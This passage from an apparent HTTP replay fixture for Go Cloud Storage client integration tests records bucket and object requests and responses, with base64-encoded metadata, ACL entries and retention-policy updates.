eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ1BYSXYrdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL3NvbWUtb2JqLzE1NTY4MzU5NDQzNTkwMjkvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwIiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0NDM1OTAyOSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNQWEl2K3Z4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9zb21lLW9iai8xNTU2ODM1OTQ0MzU5MDI5L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDQzNTkwMjkiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ1BYSXYrdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL3NvbWUtb2JqLzE1NTY4MzU5NDQzNTkwMjkvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwIiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0NDM1OTAyOSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNQWEl2K3Z4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoidUpwZFdRPT0iLCJldGFnIjoiQ1BYSXYrdngvZUVDRUFFPSIsInJldGVudGlvbkV4cGlyYXRpb25UaW1lIjoiMjAxOS0wNS0wMlQyMzoyNTo0NC4zNThaIn0=" - } - }, - { - "ID": "7db6d4640ce21307", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0010/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3245" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:44 GMT" - ], - "Etag": [ - "CPXIv+vx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoUK3qzYL0xUcMKfWD6mmDZqRfnd8q7O14gBrKng7OYalNXZR3ZegpD1VyqjzW6bgQqFvLrtFjWXwPoJ4E78_nThYByR2n3Hm33ms2fvCdaRSOy1Qc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9zb21lLW9iai8xNTU2ODM1OTQ0MzU5MDI5Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0NDM1OTAyOSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ0LjM1OFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0NC4zNThaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDQuMzU4WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJQYzFTWFEyUUk3MGxNNlZIN1F0NUFnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTQ0MzU5MDI5JmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL3NvbWUtb2JqLzE1NTY4MzU5NDQzNTkwMjkvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDQzNTkwMjkiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ1BYSXYrdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL3NvbWUtb2JqLzE1NTY4MzU5NDQzNTkwMjkvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwIiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0NDM1OTAyOSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNQWEl2K3Z4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9zb21lLW9iai8xNTU2ODM1OTQ0MzU5MDI5L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDQzNTkwMjkiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ1BYSXYrdngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL3NvbWUtb2JqLzE1NTY4MzU5NDQzNTkwMjkvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwIiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0NDM1OTAyOSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNQWEl2K3Z4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoidUpwZFdRPT0iLCJldGFnIjoiQ1BYSXYrdngvZUVDRUFFPSIsInJldGVudGlvbkV4cGlyYXRpb25UaW1lIjoiMjAxOS0wNS0wMlQyMzoyNTo0NC4zNThaIn0=" - } - }, - { - "ID": "cec800ec28205dab", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0010?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "25" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJyZXRlbnRpb25Qb2xpY3kiOm51bGx9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:45 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqAm9jtf7nMSv2Bbn_pFGaLCmlq2CtqUdGeEOyYrkllqiADBk9_xsJS3BufmzfGIdARRHN7jVwbeHKev2CHMyzWoGA8UxNGNIldPCC4oZ1dMPARKHk" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQzLjgwNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0NS4yMjZaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "c787f6d5b23123a3", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0010/o/some-obj?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:45 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrgP5ghUeBxvXks4XlillwzLwfwyRGxt5y-FImGHSwZ-Meht6M0-keE0YTUG2Qy5hH5i1gpWPyGHXweFDyrk8a3QbDPnG5shDEoxzNOlMEsX6V8-4I" - ] - }, - "Body": "" - } - }, - { - "ID": "144726e64e401a23", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0010?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:45 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpxuxvNJ3APW11H4y-qweAzn3ChIZ0eRjSetoSHkGwVvO7nMR17h5Hbj8I8zgOGjR7HPA201lDCw47ejD6kj1wCz3ZTIrUz-r-qjdm0vGGszQYFidQ" - ] - }, - "Body": "" - } - }, - { - "ID": "eebfbd37f51a5cc6", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExIiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:46 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uox0foiLUu9KuEF-KVU8lIN_yUKAJsYEuwVqgSXvzFRGmzJtSZvFeNvMDS8W0aQ7c8YoI89qS_MxU8zBSBqcljYpIZe1NPIvkEFEG5K22RJkAuwmh8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDExIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ2LjE3M1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0Ni4xNzNaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiNjAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNTo0Ni4xNzNaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "c7ddc04b5d29113a", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0011?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "47" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiMzYwMCJ9fQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2519" - 